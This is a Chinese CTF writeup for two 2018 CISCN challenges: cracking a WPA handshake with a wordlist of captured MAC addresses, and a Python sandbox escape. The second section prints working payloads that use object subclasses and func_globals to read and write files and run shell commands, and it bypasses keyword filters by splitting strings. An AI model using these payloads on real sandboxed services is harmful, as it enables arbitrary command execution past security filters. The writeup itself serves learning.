2018 国赛ciscn writeup

栏目: 编程工具 · 发布时间: 6年前

内容简介:不想吐槽了,谁做谁知道,这篇文章只是记录下一些下载后有两个压缩包,一个是如何提取

前言

不想吐槽了,谁做谁知道,这篇文章只是记录下一些 tips

寻找入侵者

黑客使用无线钓鱼攻击一个SSID为“CyberPeace”的热点,但是我们的蜜罐系统捕获了他的数据包,并且已经得知他的握手包密码就是他的网卡地址。可是根据我们最新获得的情况,他又发送重连请求的Malformat Frame试图崩溃我们的无线路由器。
请从attack包中找到密码,并解开他的数据包,找到那条畸形数据。

下载后有两个压缩包,一个是 attack.pcapng ,一个是 hanshake.cap ,按照题目的意思就是密码在 attack.pcapng 里的一个 mac地址 ,然后用 hanshake.cap 验证该密码的正确性。那首先我们先去找一下密码,因为不会 tshark ,但是他能做的 wireshark 也能,可能就是实现的方式的效率问题。。。

如何提取 mac地址 ?在 wireshark 的操作如下: 统计 –> 端点 ,打开后在 Endpoint类型 里勾上 IEEE 802.11 ,就能出现如下画面:

2018 国赛ciscn writeup

然后点击 复制 –> 作为CSV 就能将所有的 mac地址 提取出来,当然你还需要清理下数据,写个 Python 小脚本即可。

将得到的密码本拿去验证一下:

aircrack-ng hanshake.cap -w password.txt

最后得到密码。

2018 国赛ciscn writeup

有了密码后我们就能解开 hanshake.cap 里的数据,这个跟前面用到过的解 https 的方式类似,都是需要导入秘钥。但 IEEE 802.11 的导入方式不同,因为是它用的是 wpa/wpa2 的加密方式,所以我们需要将秘钥转换成 wpa-psk 的格式, wireshark 提供了这个工具: 传送门 。按照要求填入信息就能得到 wpa-psk ,如:

2018 国赛ciscn writeup

拿到psk后,在wireshark里如下操作:

编辑  --->  首选项  --->  Protocols --->  IEEE 802.11

2018 国赛ciscn writeup

2018 国赛ciscn writeup

这样我们就能看到数据包了,然后追踪流,比较可疑的是发现了一个 key.rar

2018 国赛ciscn writeup

因为是在线了,我们可以自己下下来看看,比赛的时候也止步于此了,因为下下来发现跟 attack.pcapng 差不多,而且报文还很多,就猜想flag可能不在这,然而看了writeup后才发现flag就在这个包,出题人真会玩,都到了这一步了,线索还不给得 清晰点

在那个 key.pcap 里搜索一下 flag ,就能出现了,但因为比赛结束停止了提交,而且其他博客又没有放出 flag ,所以就自己熟悉一下好了。

wlan matches "flag"

2018 国赛ciscn writeup

RUN

其实我最想记录的是这道题,这是道 python沙箱逃逸 。比较有趣,以前也没接触过,网上找了一些 payload 但都因为绕不过关键字而被 ban 掉。

因为它过滤了一些危险函数,比如:os、sys等,但我们可以通过类的继承关系找到被 ban 掉的库,然后将它导入进来。我们可以先看一下payload的前半部分:

().__class__.__bases__[0].__subclasses__()

从代码上我们比较好理解,就是从 () 找到它的 父类 也就是 __bases__[0] ,而这个父类就是Python中的 根类<type 'object'> ,它里面有很多的子类,包括 file 等,这些子类中就有跟 os、system 等相关的 方法 ,所以,我们可以从这些子类中找到自己需要的方法。

知道了上面的基础后,我们可以找到一些payload,比如:

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

但这道题的突破点是在获得 类的属性 上,从网上找的payload中存在一些被 ban 掉的关键字,如func_globals中存在 ls ,这也是做题时卡着的地方。而这些都可以用 __getattribute__ 进行突破,它的用法如下:

2018 国赛ciscn writeup

可以看到通过 __getattribute__ 我们可以传字符串来进行方法的调用,这就是我们需要的,然后我们将网上找的payload改造一下:

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()

因为它没有回显,所以我们只能通过 print 来获得返回的信息。最终我们拿到 flag 。在网上找的时候看到了另一种获得方法的函数:

getattr(().__class__.__bases__[0].__subclasses__()[59]().__module.__builtins__['__import__']('o'+'s'), 's'+'yst'+'em')('ls')

它是通过 getattr() 来实现的,但在本题的环境中这个payload并不能用。相关的参考链接:

https://blog.csdn.net/qq_35078631/article/details/78504415


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

HTTP权威指南

HTTP权威指南

David Gourley、Brian Totty / 陈涓、赵振平 / 人民邮电出版社 / 2012-9 / 109.00元

超文本转移协议(Hypertext Transfer Protocol,HTTP)是在万维网上进行通信时所使用的协议方案。HTTP有很多应用,但最著名的是用于web浏览器和web服务器之间的双工通信。 HTTP起初是一个简单的协议,因此你可能会认为关于这个协议没有太多好 说的。但现在,你手上拿着的是却一本两磅重 的书。如果你对我们怎么会写出一本650页 的关于HTTP的书感到奇怪的话,可以去......一起来看看 《HTTP权威指南》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

URL 编码/解码
URL 编码/解码

URL 编码/解码

SHA 加密
SHA 加密

SHA 加密工具